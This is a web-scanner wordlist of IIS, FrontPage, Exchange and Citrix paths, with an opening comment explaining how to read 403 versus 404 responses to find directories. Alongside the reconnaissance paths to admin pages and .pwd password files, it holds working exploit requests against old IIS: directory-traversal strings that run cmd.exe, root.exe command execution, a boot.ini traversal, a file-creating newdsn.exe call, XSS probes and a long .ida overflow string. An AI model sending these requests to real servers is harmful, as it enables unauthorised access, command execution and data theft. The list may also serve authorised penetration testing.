# Look at the result codes in the headers - 403 likely mean the dir exists, 404  means not. It takes an ISAPI filter for IIS to return 404's for 403s. 
/.printer
/%NETHOOD%/
/<script>alert('XSS')</script>.aspx
/AccessPlatform/
/AccessPlatform/auth/
/AccessPlatform/auth/clientscripts/cookies.js 
/AccessPlatform/auth/clientscripts/login.js 
/Exadmin/
/ExchWeb/
/Exchange/
/Microsoft-Server-ActiveSync/
/OMA/
/OWA/
/Public/
/_layouts/alllibs.htm
/_layouts/settings.htm
/_layouts/userinfo.htm
/_vti_bin/
/_vti_bin/_vti_aut/fp30reg.dll
/_vti_pvt/
/_WEB_INF/
/a%5c.aspx
/adovbs.inc
/aspnet_files/
/certcontrol/
/certenroll/
/certsrv/
/citrix/
/citrix/AccessPlatform/auth/
/citrix/AccessPlatform/auth/clientscripts/
/AccessPlatform/auth/clientscripts/
/Citrix//AccessPlatform/auth/clientscripts/cookies.js 
/Citrix/AccessPlatform/auth/clientscripts/login.js 
/Citrix/PNAgent/config.xml
/exchange/root.asp
/forum.asp
/forum_arc.asp
/forum_professionnel.asp
/iisadmin/
/iisadmpwd/achg.htr
/iisadmpwd/aexp.htr
/iisadmpwd/aexp2.htr
/iisadmpwd/aexp2b.htr
/iisadmpwd/aexp3.htr
/iisadmpwd/aexp4.htr
/iisadmpwd/aexp4b.htr
/iisadmpwd/anot.htr
/iisadmpwd/anot3.htr
/iiasdmpwd/
/iishelp/
/iishelp/iis/misc/default.asp
/iissamples/
/imprimer.asp
/includes/adovbs.inc
/msadc/
/null.htw
/pbserver/pbserver.dll
/postinfo.html
/rubrique.asp
/scripts/
/scripts/fpcount.exe
/scripts/cgimail.exe
/scripts/tools/newdsn.exe
/scripts/tools/getdrvs.exe
/scripts/convert.bas
/cgi-bin/htmlscript
/scripts/counter.exe
/scripts/no-such-file.pl
/share/
/tsweb/
/~/<script>alert('XSS')</script>.asp
/~/<script>alert('XSS')</script>.aspx
/index.shtml
/x.htw
/x.ida
/x.idq
/cgi
/scripts/iisadmin/ism.dll?http/dir
/scripts/samples/search/webhits.exe
/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/_vti_bin/_vti_aut/fp30reg.dll
/_vti_bin/_vti_aut/fp30reg.dll?1234=X
/_vti_bin/shtml.dll/asdfghjkl
/_vti_bin/shtml.exe/qwertyuiop
/ajfhasdfgsagfakjhgd
/cgi-bin/a1stats/a1disp.cgi
/checkapache.html
/qwertypoiu.printer
/ASPSamp/AdvWorks/equipment/catalog_type.asp
/Admin/knowledge/dsmgr/users/GroupManager.asp
/Admin/knowledge/dsmgr/users/UserManager.asp
/AdvWorks/equipment/catalog_type.asp
/CFIDE/Administrator/startstop.html
/Mail/smtp/Admin/smadv.asp
/SiteServer/Admin
/SiteServer/Admin/commerce/foundation/DSN.asp
/SiteServer/Admin/commerce/foundation/driver.asp
/SiteServer/Admin/knowledge/dsmgr/default.asp
/SiteServer/Publishing/viewcode.asp
/SiteServer/admin/findvserver.asp
/Sites/Knowledge/Membership/Inspired/ViewCode.asp
/Sites/Knowledge/Membership/Inspiredtutorial/Viewcode.asp
/Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp
/Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp
/Sites/Samples/Knowledge/Push/ViewCode.asp
/Sites/Samples/Knowledge/Search/ViewCode.asp
/WEB-INF/web.xml
/_AuthChangeUrl?
/_mem_bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/_mem_bin/autoconfig.asp
/_mem_bin/formslogin.asp
/_vti_bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/_vti_bin/_vti_aut/dvwssr.dll
/_vti_bin/fpcount.exe?Page=default.asp|Image=3
/_vti_bin/shtml.dll
/_vti_pvt/administrator.pwd
/_vti_pvt/administrators.pwd
/_vti_pvt/authors.pwd
/_vti_pvt/service.pwd
/_vti_pvt/shtml.exe
/_vti_pvt/users.pwd
/cfide/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/cgi-bin/htimage.exe?2,2
/cgi-bin/imagemap.exe?2,2
/clocktower
/domcfg.nsf/?open
/iisadmpwd/achg.htr
/iisadmpwd/aexp.htr
/iisadmpwd/aexp2.htr
/iisadmpwd/aexp2b.htr
/iisadmpwd/aexp3.htr
/iisadmpwd/aexp4.htr
/iisadmpwd/aexp4b.htr
/iisadmpwd/anot.htr
/iisadmpwd/anot3.htr
/iissamples/exair/howitworks/Code.asp
/iissamples/exair/howitworks/Codebrw1.asp
/iissamples/exair/howitworks/Codebrws.asp
/iissamples/sdk/asp/docs/CodeBrws.asp
/iissamples/sdk/asp/docs/codebrw2.asp
/iissamples/sdk/asp/docs/codebrws.asp
/index.php
/market
/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/msadc/Samples/selector/showcode.asp
/msdac/root.exe?/c+dir
/mspress30
/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHilite
/publisher
/qwertypoiu.htw
/scripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/scripts/..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir+c:\\
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\
/scripts/fpcount.exe
/scripts/root.exe?/c+dir
/scripts/tools/getdrvs.exe
/scripts/tools/newdsn.exe
/search?NS-query-pat=..\..\..\..\..\boot.ini
/siteserver/publishing/viewcode.asp
/tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=goatfart+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2goatfart.html&newdb=CREA
/vc30
/x.ida?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=X
